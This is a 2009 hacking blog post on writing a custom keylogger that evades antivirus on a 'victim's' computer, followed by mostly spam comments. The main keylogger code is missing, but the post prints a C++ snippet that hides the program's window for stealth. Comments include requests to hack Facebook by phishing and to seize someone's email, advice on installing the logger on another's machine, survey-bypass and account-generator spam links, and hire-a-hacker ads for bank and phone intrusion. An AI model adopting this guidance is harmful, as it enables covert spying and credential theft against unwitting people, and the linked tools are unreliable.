Thursday, October 15, 2009

Coding Your own Keylogger..

So till now, we only concentrated on hacking using tricks, social engineering, existing tools and other things.. So, now its time we start learning how to create our own, because by the time we start using this tools, they are already released in public and hence is identified by most of the anti-virus software, making your job harder.. So if you create one for yourself and not intend to release it in public.. You can use it without worrying about anti-virus software installed at victim's side..

To start with we will create a basic key-logger.. You already know by now, it is a basic component for a trojan, RATs, and almost every hacking software uses this feature.. Its available in many flavors or we can call it enhancement.. like invisible to user, invisible in task bar, stealth mode, autostart, mailing function, etc, etc.. today we will learn only the basic that is how it records the keystrokes..??
A keylogger listens to every keystrokes and records it for us.. There exists three way to implement keyloggers(that i know about..). They are:
1. GetAsyncKeyState
2. GetKeyboardState
3.Windows Hooks

Here we will be using the AsynckeyState one.. Now i love the language C++, so i will be using that, but it can be implemented in any language, i will be posting the VB6 and DOT NET versions soon..

So, lets get started..
I am posting the code, it is self explanatory, if you face any problem or need any help, related to compiling or understanding.. Comment here..
and ya, your keys are logged at "logs.txt" in the same folder as your exe..

CODE:
/* THIS CODE WAS Published By Pratik Mishra.. Using help from the net and other programmers.. 


If you find any problem comment at http://www.hackerhubz.blogspot.com
*/

I hope you enjoyed the post.. Do Comment.. 
and if you wanna make your program invisible then you can add this to code.. at the start of main() Function..


 typedef HWND (WINAPI *tGetConsoleWindow)(void);


  tGetConsoleWindow pGetConsoleWindow = 0;
  HINSTANCE handle =  ::LoadLibrary("Kernel32.dll");
  if ( handle ) 
    pGetConsoleWindow = (tGetConsoleWindow)::GetProcAddress(handle, "GetConsoleWindow");     
  if ( pGetConsoleWindow ) 
  {
    HWND hwnd = pGetConsoleWindow();
    ::ShowWindow(hwnd,SW_HIDE);
  }
  if ( handle )
    ::FreeLibrary(handle);
      
So, now we getting into real business but the new kiddies don't worry will keep on posting some cool stuffs, tricks and tools for you too...
Hack Gmail


25 comments:

  1. Hey - I tried to run this, but devc++ is showing:

    The system cannot find the file specified

    Any ideas? (email : mikea.1192-at-gmail[dot]com)
    Thanks

    ReplyDelete
  2. Hi.aAny idea to implement that on OS X? Thanks!

    ReplyDelete
    Replies
    1. yes.. proceed to below procedure......
      install the software in other's computer( which you want to hack). while installing that will ask u a email address .type your email id ..and lets the software install successfully

      Delete
  3. You should have multiple mirrors so that there are multiple copies so if one is corrupted or is taken down there still is the other one. Just an idea.

    ReplyDelete
  4. "Hacker Hubz!!!"
    please how can i hack facebook using phishing? and how do i input the email on the script to recieve information from the client?
    Thanks,
    hardey_79@yahoo.com

    ReplyDelete
  5. I need either the password to the email: lightningprod13@gmail.com OR the website www.thetestr.weebly to be "deleted"
    If either task is completed please notify me at X9Terminator@gmail.com

    ReplyDelete
  6. Wonderful goods from you, man. I've understand your stuff previous to and you are just too wonderful. I actually like what you've acquired here,
    really like what you're stating and the way in which you say it. You make it entertaining and you still care for to keep it wise. I can not wait to read far more from you. This is really a great website.

    Look into my webpage: password for

    ReplyDelete
  7. Hello there! I know this is kind of off
    topic but I was wondering if you knew where I could find a captcha plugin for my comment
    form? I'm using the same blog platform as yours and I'm having trouble finding
    one? Thanks a lot!

    Feel free to visit my blog ... new year's eve recipes

    ReplyDelete
  8. Hello to all, how is everything, I think every one is getting more from this
    website, and your views are good for new users.

    my weblog: giftcode

    ReplyDelete
  9. Are you tiered of completing surveys only for them not to unlock
    your file?
    Do you want to bypass all online survey sites? Here is the
    solution http://sharecashdownloader.uni.me
    Having trouble downloading very important file from ShareCash, FileIce, Upladee or others due to no surveys showing up?


    Thanks to our newest tool, you will be able to download everything you want
    whenever you want!
    Works on all fileice surveys, with just one click of a button you will be
    able to start downloading the file, for free!
    Also works on sharecash surveys. Clicking in the image above will take you to a video tutorial for this tool.


    To learn how to use Fileice Survey Bypass you can click here, you will be
    taken to a short tutorial on how to use the tool.
    Download ShareCash, FileIce, Upladee Survey Bypass Now!
    http://sharecashdownloader.uni.me
    Working Fileice Survey Bypass Download it here http://sharecashdownloader.
    uni.me

    my web page: Bypass Fileice

    ReplyDelete
  10. Hello to every , as I am in fact keen of reading
    this web site's post to be updated daily. It contains pleasant data.

    My blog youtube funniest Videos

    ReplyDelete
  11. Definitely believe that which you stated. Your favorite justification
    appeared to be on the net the simplest thing to be aware of.

    I say to you, I certainly get annoyed while people think about worries
    that they plainly don't know about. You managed to hit the nail upon the top as well as defined out the whole thing without having side effect , people can take a signal. Will likely be back to get more. Thanks

    my web site; Funny Youtube Videos

    ReplyDelete
  12. Fantastic beat ! I wish to apprentice while you amend your site, how could i
    subscribe for a blog website? The account helped me
    a applicable deal. I were a little bit acquainted of this your broadcast provided vibrant transparent idea

    My homepage; forgot my password

    ReplyDelete
  13. I simply could not leave your website before suggesting that I really loved the
    standard information a person provide in your guests?
    Is gonna be back regularly to check out new posts

    My webpage: sharecash downloader 2012

    ReplyDelete
  14. Hi, I wish for to subscribe for this webpage to get most recent updates,
    so where can i do it please help.

    Also visit my web site; Funny

    ReplyDelete
  15. It's going to be end of mine day, except before end I am reading this enormous post to improve my experience.

    Visit my web site ... minecraft 1.0

    ReplyDelete
  16. If you want a Premium Minecraft Account check out this generator.
    With it you can generate a unique Minecraft Premium Account which no one else has!

    You can Download the Free Premium Minecraft Account
    Generator http://www.get-minecraft-free.tk

    Everyone loves it when individuals get together and share views.
    Great website, stick with it!

    Stop by my web page free minecraft download

    ReplyDelete
  17. If some one wishes expert view concerning blogging afterward i suggest
    him/her to visit this blog, Keep up the good job.


    Visit my weblog ... download medal of honer

    ReplyDelete
  18. Helpful information. Fortunate me I discovered your website accidentally, and
    I am surprised why this accident did not took place earlier!
    I bookmarked it.

    My page :: need to earn money fast

    ReplyDelete
  19. Very good blog! Do you have any recommendations for aspiring writers?
    I'm hoping to start my own site soon but I'm a
    little lost on everything. Would you recommend starting with
    a free platform like Wordpress or go for a paid option?
    There are so many choices out there that I'm completely overwhelmed .. Any suggestions? Bless you!

    Also visit my webpage Funny Pictures Collection

    ReplyDelete
  20. I really love your blog.. Excellent colors & theme. Did you build this web site yourself?
    Please reply back as I'm wanting to create my very own blog and would love to find out where you got this from or just what the theme is called. Kudos!

    Feel free to surf to my site ... pharmacy technician qualifications

    ReplyDelete
  21. I'd like to find out more? I'd like to find out more details.


    my homepage :: Funny Youtube Videos

    ReplyDelete
  22. ETHICAL HACKER SERVICES

    Require services of an ethical hacker for your specialized Hacks?

    + Access various social networks (facebook, twitter, Instagram, Google+, etc)

    +Clear Credit Card Debts

    +Bank Account Hacks

    +Hack into email accounts (gmail, yahoo, aol, etc)

    +Hack various Blog/Website platforms

    -Contact Cyber Hamster via email; cyberhamster007@gmail.com

    ReplyDelete
  23. Have you ever been curious of what your partner, kids or employees are up to? You can now intercept cell phones, boost credit scores and hack any website remotely. All you need to do is contact a verified hacker
    Helpline: +1 (347)-857-7580
    Email: extremeinfiltrators@gmail.com

    ReplyDelete

Featured Followers